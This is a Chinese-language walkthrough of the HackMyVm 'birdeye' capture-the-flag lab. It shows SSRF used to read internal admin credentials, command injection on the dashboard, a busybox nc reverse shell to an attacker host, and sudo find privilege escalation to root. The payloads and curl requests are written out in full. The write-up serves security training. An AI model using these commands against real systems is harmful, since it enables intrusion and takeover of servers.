文章总结: 这篇文章详细介绍了HackMyVm靶场birdeye的渗透测试过程,包括通过端口扫描发现SSRF漏洞,利用该漏洞获取管理员凭据,然后利用命令执行漏洞反弹shell,最后通过sudofind命令提权到root。文章提供了完整的命令和截图,适合渗透测试初学者学习实战技巧。 综合评分: 85 文章分类: 渗透测试,漏洞分析,实战经验,WEB安全
HackMyVm靶场之birdeye
原创
MS02423
MS02423
2025年12月19日 20:32 新加坡
这个靶场我主要是为了演示前半部分如何获取到shell.后半部分的提权太简单了,直接跟没有的一样我们一条命令就可以解决的,我们一起来看看这个靶场。
1.探测IP
arp-scan -l
靶场IP是192.168.137.57
2.扫描IP
1)扫描端口
nmap -p- -sV 192.168.137.57
端口开放53,80,5000端口,我们的思路就是在80或者5000端口发现信息,然后想办法进行反弹shell,因为没有ssh服务,所以我们是没有办法登录的。
2)扫描目录
dirsearch -u http://192.168.137.57
gobuster dir -u http://192.168.137.57/ -w /usr/share/dirb/wordlists/common.txt -x .php,.html,.txt -t 50
2个扫描器都扫描到/admin,我们去访问看看,目前就没有任何的信息了。
3.访问IP
http://192.168.137.57
80端口访问一个web界面
http://192.168.137.57:5000/
我们可以看到5000端口访问是没有任何东西的
我们去访问/admin目录试试看
{“error”:”Forbidden”} 是一个 HTTP 403 Forbidden 错误的 JSON 格式响应。
HTTP 状态码: 403 Forbidden格式: JSON (application/json)含义: 服务器理解请求,但拒绝执行
我们先放放
4.渗透测试
首先,我们去看看80端口有没有有用的信息
http://192.168.137.57/products
我们可以看到一个输入框,我们输入内容去抓包看看
这表明服务器端获取功能可以访问内部服务(SSRF)
那么就是ssrf漏洞了,那么我们去扫描一下/admin目录,看看有没有其他的东西
扫描admin目录
这里我们有2个方法,一个是使用gobuster工具,这里我们需要设置一些命令的,因为我们扫描的/admin状态码是403的,如果不设置的话会直接报错的
第一种方法gobouster
gobuster dir -u http://192.168.137.57/admin -w /usr/share/dirb/wordlists/common.txt
那么我们就排除长度为22的即可
-xl 22排除长度为22的,线程为20
gobuster dir -u http://192.168.137.57/admin/ -w /usr/share/dirb/wordlists/common.txt -xl 22 -t 20
我们可以看到有扫描到2个目录,我们进行访问即可
第二种方法feroxbuster
它是另一种扫描器,这个我们不用设置任何命令,直接可以扫描到目录的
feroxbuster -u http://192.168.137.57/admin/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
我们可以看到扫描到/config目录,我们去访问试试看
访问config目录
http://192.168.137.57/admin/config
告诉我们直接内部访问,那么我们去burp里面访问
api/fetch-url?url=http://127.0.0.1/admin/config告诉我们内部访问,那么我们就使用127.0.0.1进行访问
我们可以看到一些用户名和密码,还有路径我们进行访问
{"admin_password":"SuperSecret123!","admin_user":"superadmin","login_panel_path":"/admin/panelloginpage"}
返回了
"Invalid credentials"
意思是 “无效的凭据” 或 “凭证错误”。
我们可以看到返回的状态码是200,但是没有任何的信息,我们查看响应头可以看到我们是缺少这2个的,我们需要补全的,而且登录页面应该是POST请求,而不是GET请求的
Access-Control-Allow-Methods: GET, POST, OPTIONSAccess-Control-Allow-Headers: Content-Type
记得这里的GET变成POST一定不用去手动去修改,然后手动修改的话,虽然返回的是200状态码,但是没有cookie值的
这是手动修改的POST,我们可以看到返回的状态码是200,但是没有cookie的
这是我们在bp里面修改的,可以看到有cookie的值,而且可以明显的看到Content-Length的数字是不一样的
我们也可以使用curl进行请求,记得里面我们使用单引号,不要使用双引号,不然的话是会报错的
curl -iX POST \ 'http://192.168.137.57/api/fetch-url?url=http://localhost/admin/panelloginpage&method=POST' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d 'admin_user=superadmin&admin_password=SuperSecret123!'
既然我们获取了cookie,那么我们使用cookie去查看,记得路径不是admin了,是dashboard
我们需要修改的地方为3处,第一次是路径,第二处是添加cookie的值,第三次是把用户名和密码修改成command
告诉我们command输入值的
命令执行漏洞
那么我们猜测可能就是命令执行漏洞,我们试试查看id
我们也可以使用curl进行查看
curl -iX POST 'http://192.168.137.57/admin/dashboard' -H 'Cookie: session=eyJhZG1pbl9hdXRoZW50aWNhdGVkIjp0cnVlfQ.aUUTIQ.W2d4LC5kyG9qZGJwqGuTlTDHfpI;' -d 'command=id'
我们可以看到返回www-data,那么存在命令执行漏洞,我们使用nc进行反弹
反弹shell
我们也可以在浏览器里面进行设置
这里nc -e好像是使用不了的,我们换一种方法进行反弹
busybox nc 192.168.137.102 1234 -e /bin/bash
我们可以看到反弹成功
获取user的flag
我们可以看到一个user.txt文件,但是我们没有权限的访问的,我们可以看到一个backup_app.sh脚本我们去查看
那么我们就直接运行脚本即可切换到sev用户的
sudo -u sev /home/sev/backup_app.sh
我们可以看到切换成功,那么我们就查看刚刚没有权限看到的user.txt文件
获取root权限
sudo -l
直接find提权即可
sudo find -name user.txt -exec "/bin/sh" -p \;
我们可以看到提权成功
查看root的flag
至此,这个靶场渗透成功
这个靶场,我感觉前面获取shell的部分是可以的,后面提权的部分就感觉有点太简单了,没有什么难度。
查看原文:《HackMyVm靶场之birdeye》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论